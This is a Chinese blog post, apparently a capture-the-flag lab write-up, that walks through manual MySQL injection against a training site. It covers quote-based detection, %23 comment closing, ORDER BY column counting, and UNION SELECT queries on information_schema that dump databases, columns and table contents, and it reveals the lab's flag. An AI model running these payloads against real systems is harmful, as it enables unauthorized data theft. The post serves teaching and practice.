美文网首页
mysql手工注入总结

mysql手工注入总结

作者: 沙雕带你蒿羊毛 | 来源:发表于2017-11-05 16:10 被阅读0次

    今天我们来讲一下mysql手工注入的大体内容

    给你一段url 

    http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

    应该怎么手工注入呢?

    first   我们讲怎么判断是否具有注入点

    一,刚才的id=1后加一个单引号,变成id=1' 。

            页面如果报错,说多了一个单引号,那么说明可能存在注入点。

    二,可以在id=1 后面加上判断语句 如 and 1=1    and 1=2

            很明显 1=1  1不等于2 

            那么如果‘id=1 and 1=1’页面正常,‘id=1 and 1=2’时页面不正常,则这个可能存在注入。

             为啥是可能?不是一定?

    因为有些页面可能在返回结果出做过滤,虽然你这里带入数据库是可以被查询的,但无法返回,是否可以利用需要结合具体情况对待

    second  找到注入点后就可以闭合语句了

    这里需要思考后台的代码是如何编写的

    举个例子

    后台语句

    select * from tables where id='$id';

    这种情况下,$id变量多为字符型 ,需要闭合单引号,

    可以用?id=1'这种形式闭合

    所以我们在注入过程中能就要在url后输入

    /index.php?id=1'    用单引号闭合

    注意:在闭合过程中,我们一定要结合实际情况,进行闭合符号,

    这是没有什么固定方式的,因为我们母鸡后台代码,但最终达到一个目的就好了,就是闭合语句中可能有的符号,注释掉我们不需要或者可能会限制我们继续注入的部分。使得后台做出 我们想让他做的事情。

    在这里 需要讲一下注释  为啥要注释,你不注释怎么让后台只执行你想要的命令啊

    比如

    http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

    这一题中用到了limit语句  不使用where 那么应该怎么做? 

    注释有  

    行间注释  # 就是23%   --

    行内注释      /*注释内容*/

    还要说一下,我们在注入的时候,为什么使用的%23而不是#呢,因为由于编码的问题,在浏览器中直接提交#会变成空,所以我们使用url编码后的#,即%23,当传输到后端时,后端语言会对它自动解码成#,才能够成功带入数据库查询

    有这么一个网站:www.example.com/index.php?id=1

    他在数据中的查询语句是select * from table where id='$id' limit 0,1;

    那么我们注入的语句就可以是?id=1' %23

    这个时候,带入到数据库查询的语句就变成了

    select * from table where id='$id' #' limit 0,1;

    #会把后面的语句注释掉,然后我们得到实际执行的语句就成了

    select * from table where id='$id';

    寻找注入点和注释不需要的内容是个重点

    只有顺利的完成这两步骤,才能接下去实施

    third 使用order by 子句判断字段

    什么是order by

    这里引用w3c的内容

    ORDER BY 语句用于对结果集进行排序

    ORDER BY 语句用于根据指定的列对结果集进行排序。

    ORDER BY 语句默认按照升序对记录进行排序。

    啥意思?

    就是说

    order by 是用来排序的,后面的数字代表列数

    order by 1  第一列进行排序

    order by 2  第二列进行排序

    。。。。。

    如果order by 4错误,即没有第4列

    由此可得一共有3列

    而在order by 4报错的时候,注入页面会有相应的显示,这时候你就知道,有几个字段了

    这里我使用的是lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 order by 3

    order by 3  是对的

    order by 4  报错  故而可以判断字段数

    then 使用联合查询

    http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 UNION SELECT 1,2,3

    可以看到我写的是id=1 UNION SELECT 1,2,3

    而刚才order by 出来的是3    这就是联合查询 union select 1,2,3,4,5…..n/*

    字段数是几,那么n就是几

    这里出现了2和3

    提交后,可以看到页面中出现可以被显示的字段编号,我们通过在响应位置替换成我们需要的查询字段和表就可以,如这里,我注入出来的是2和3位置可以被注入,也就是接下来所有注入的内容更都需要替换这里select语句中的2和3

    我们试一下,看看当前库和版本就是database(),version()

    做到这里其实后面的也就清楚了

    除了当前库,还会有其他库啊,是不是也要看看?

    这里我们输入

    http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0,5

    这里用到了limit

    通过调整limit即可遍历出所有的数据库,调整方法为limit 0,1;limit 1,2;limit 2,3……直到出现错误或异常

    这里我用了limit 0,5  出来了3个库,说明里面就三个

    库子知道了,暴对应数据库的数据表

    选择sae_user_sqli3,继续干

    http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7361655F757365725F73716C6933

    这里有三个字段,快捷点,我们上来就是爆两个字段

    http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,title,content from sae_user_sqli3

    ok了

    flagishere#

    HKGGflagdfs56757fsdv

    这么长,能看完,谢谢你们

    相关文章

      网友评论

          本文标题:mysql手工注入总结

          本文链接:https://www.haomeiwen.com/subject/momcmxtx.html